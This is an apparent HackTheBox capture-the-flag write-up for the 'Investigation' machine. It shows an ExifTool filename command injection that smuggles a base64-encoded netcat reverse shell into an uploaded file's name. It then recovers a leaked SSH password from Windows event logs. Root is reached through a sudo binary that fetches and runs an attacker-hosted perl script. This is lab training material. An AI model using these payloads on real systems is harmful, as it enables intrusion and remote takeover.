Contents

🕵️ HTB-Writeup : INVESTIGATION

Introduction

Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.

Investigation is an Medium Linux machine.

Recon

Let’s do some recon !

Nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ nmap 10.129.140.76 -A -Pn -p- -T4

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
|   256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_  256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Browsing at http://10.129.140.76, we are redirected to a website at http://eforenzics.htb/. We can put the host on /etc/hosts.

drawing

Fuzzing subdomains

Using ffuf I tried to discover subdomains.

1
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.eforenzics.htb" -u http://10.129.140.76 -fc 301

There is a file upload feature that we can use to analyze exif data of an image.

drawing

First, I tried to upload a simple image. After uploading we get a link to the exifdata retrieved from our image.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ExifTool Version Number         : 12.37
File Name                       : trollface.png_original
Directory                       : .
File Size                       : 94 KiB
File Modification Date/Time     : 2023:01:23 13:53:50+00:00
File Access Date/Time           : 2023:01:23 13:53:50+00:00
File Inode Change Date/Time     : 2023:01:23 13:53:50+00:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png

Here we get the version number of exiftool command: 12.37.

Path to the first shell

Exploiting exiftool

I found exploit (CVE-2021-22204) for an older version and does not work here. Then, after some research I found that gist. It explain that Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. There is no check done on filename and we are able to execute command by adding a pipe at the end of the filename.

I tried to upload a file named nc -c bash 10.10.16.95 4444 |.

1
2
3
4
5
6
7
8
9
ExifTool Version Number         : 12.37
File Name                       : nc -c bash 10.10.16.95 4444 |
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2023:01:23 14:16:14+00:00
File Access Date/Time           : 2023:01:23 14:16:14+00:00
File Inode Change Date/Time     : 2023:01:23 14:16:14+00:00
File Permissions                : prw-------
Error                           : File is empty

But it doesn’t work :( My listener did not receive any connection. I manage to use the mkfifo reverse shell. To do so, we first need to encode our payload using base64 as we can’t put / on filename.

1
2
3
4
└─$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.95 4444 >/tmp/f' |base64
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2Ljk1IDQ0NDQgPi90bXAvZg==

└─$ cp trollface.png 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2Ljk1IDQ0NDQgPi90bXAvZg==|base64 -d|sh |'

I opened a listener and then upload that file.

1
2
3
4
5
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.95] from (UNKNOWN) [10.129.140.187] 56732
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As a result we get our first shell !

Path to the privesc

smorton

Running a linpeas.sh scan we found a new folder /usr/local/investigation.

1
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*

We found a file 'Windows Event Logs for Analysis.msg' checking file type with file command.

1
2
www-data@investigation:/usr/local/investigation$ file Window*
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message

It seems to be an Outlook message. We can use msgconvert command to convert the message.

1
2
3
4
5
# install reqs
sudo apt-get install libemail-outlook-message-perl libemail-sender-perl

# Convert .msg
└─$ msgconvert Windows\ Event\ Logs\ for\ Analysis.msg 

It convert *.msg into .eml file that we can read. On the file we found an email:

1
2
3
4
5
6
Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures. 

Regards.
Tom

With a big base64 encoded message. I manage to decode the message. Running a file on it.

1
2
└─$ file download.dat                                                                             
download.dat: Zip archive data, at least v2.0 to extract, compression method=deflate

It seems to be a archive file. We can unzip it.

1
2
3
└─$ unzip download.dat
Archive:  download.dat
  inflating: security.evtx

We now have an evtx file. This is the extension used by the Windows Event Viewer application. The log file stores logon/logoff events along with any activities related to Windows security. As the message says, some analysts have been logging on terminal. Logon Event ID on Windows are 4624 for a valid logon and 4625 for a fail logon.

I manage to filter logs with both IDs. On one of the event I found a password that have been used by mistake on the Account name field !

drawing

I tried those credentials on SSH smorton:Def@ultf0r3nz!csPa$$. It works ! We can get the user flag :)

1
2
smorton@investigation:~$ cat user.txt 
*************************934fbbc

root

Checking privileges.

1
2
3
4
5
6
7
smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary

Running the binary and we get the following output:

1
2
smorton@investigation:~$ sudo /usr/bin/binary
Exiting... 

Binary seems to wait some input. Reversing the binary in IDA and we recover the following pseudo-code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  __int64 v7; // [rsp+38h] [rbp-18h]
  char *s; // [rsp+40h] [rbp-10h]
  char *command; // [rsp+48h] [rbp-8h]

  if ( argc != 3 )
  {
    puts("Exiting... ");
    exit(0);
  }
  if ( getuid() )
  {
    puts("Exiting... ");
    exit(0);
  }
  if ( strcmp(argv[2], "lDnxUysaQn") )
  {
    puts("Exiting... ");
    exit(0);
  }
  puts("Running... ");
  stream = fopen(argv[2], "wb");
  v5 = curl_easy_init();
  curl_easy_setopt(v5, 10002LL, argv[1]);
  curl_easy_setopt(v5, 10001LL, stream);
  curl_easy_setopt(v5, 45LL, 1LL);
  if ( (unsigned int)curl_easy_perform(v5) )
  {
    puts("Exiting... ");
    exit(0);
  }
  v6 = snprintf(0LL, 0LL, "%s", argv[2]);
  s = (char *)malloc(v6 + 1);
  snprintf(s, v6 + 1, "%s", argv[2]);
  v7 = snprintf(0LL, 0LL, "perl ./%s", s);
  command = (char *)malloc(v7 + 1);
  snprintf(command, v7 + 1, "perl ./%s", s);
  fclose(stream);
  curl_easy_cleanup(v5);
  setuid(0);
  system(command);
  system("rm -f ./lDnxUysaQn");
  return 0;
}
  1. First condition if ( argc != 3 ) check if the number of argument passed to the binary is equal to 3. If not exit.
  2. Second condition if ( getuid() ) get the user UID. If the UID is not 0 exit. So we only can run the binary as root.
  3. Third condition if ( strcmp(argv[2], "lDnxUysaQn") ) check if the thirb argument passed to the binary is equal to “lDnxUysaQn”. If not exit.

We can validate 3 points by running the following command.

1
2
3
smorton@investigation:~$ sudo /usr/bin/binary coucou lDnxUysaQn
Running... 
Exiting... 

We get the Running…, we passed the 3 conditions.

  1. Then, stream = fopen(argv[2], "wb"); open file lDnxUysaQn.
  2. After, it build a curl request and read a file and write the output in lDnxUysaQn file. Read file address is passed in the first binary argument argv[1].
1
2
3
4
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]); # requested file
curl_easy_setopt(v5, 10001LL, stream);  # output file
curl_easy_setopt(v5, 45LL, 1LL);
  1. Then, it build a perl command v7 = snprintf(0LL, 0LL, "perl ./%s", s);.
  2. Lastly, the binary invoc system(); command.

I checked GTFOBins to find the privesc with perl. It is simply exec "/bin/sh";. I create a perl file with this content and host a python server.

Finally, I execute the following command to get our root shell :)

1
2
3
4
5
6
smorton@investigation:~$ sudo /usr/bin/binary 10.10.16.95:8000/exploit.pl lDnxUysaQn
Running... 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
************************68a156c9

We can get the root flag !